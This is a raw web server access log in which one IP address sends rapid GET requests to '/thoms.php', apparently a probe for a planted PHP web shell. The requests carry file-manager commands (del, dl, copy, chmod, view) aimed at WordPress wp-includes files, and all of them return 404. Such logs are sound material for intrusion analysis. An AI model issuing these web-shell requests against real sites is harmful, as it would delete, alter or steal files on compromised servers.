45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?chmod=class-wp-block-metadata-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-metadata-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?chmod=class-wp-block-parser.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?dl=class-wp-http-curl.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-curl.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?del=class-phpass.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-phpass.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?chmod=class-wp-term-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?chmod=class-wp.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=post-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=post-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=update.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fwidgets&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fwidgets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?del=class-oembed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-oembed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?del=class-wp-http-curl.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-curl.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?del=class-wp-post.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-post.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?dl=class-wp.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?dl=formatting.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=formatting.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?del=atomlib.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=atomlib.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-panel.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-panel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?del=class-wp-http-requests-response.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-response.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=nav-menu.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-i18n.json&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-i18n.json&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?del=class-wp-theme-json-schema.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-schema.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?del=feed-rss2.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rss2.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?chmod=template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-walker-page.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?del=class-wp-tax-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-tax-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?chmod=class-wp-theme-json-schema.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-schema.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-files.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-files.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?dl=block-editor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-editor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?dl=class-wp-http-response.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-response.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?del=cron.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cron.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?chmod=load.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=load.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=theme-i18n.json HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=theme-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?del=class-wp-fatal-error-handler.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-fatal-error-handler.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?chmod=build&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=build&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:56 -0400] "GET /thoms.php?del=class-wp-http-ixr-client.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-ixr-client.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?dl=class-wp-token-map.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-token-map.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fkses.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fkses.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?del=class-wp-block-styles-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-styles-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?del=class-wp-widget.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-widget.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ferror-protection.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ferror-protection.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?chmod=css&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=css&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?chmod=rest-api&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rest-api&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?dl=theme.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?dl=block-i18n.json&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-i18n.json&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?chmod=canonical.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=canonical.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?chmod=class-smtp.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-smtp.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-snoopy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-snoopy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-network.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-network.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Foption.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Foption.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?del=blocks&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=blocks&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?del=class-IXR.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-IXR.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-proxy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-proxy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?del=class-wp-role.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-role.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?dl=class-wp-phpmailer.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-phpmailer.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=link-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=link-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?chmod=ms-load.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-load.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?dl=pluggable.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=pluggable.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?del=l10n&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=l10n&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fadmin-bar.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fadmin-bar.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?chmod=class-wp-customize-widgets.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-widgets.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?chmod=script-loader.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=script-loader.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=widgets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fl10n HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fl10n" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
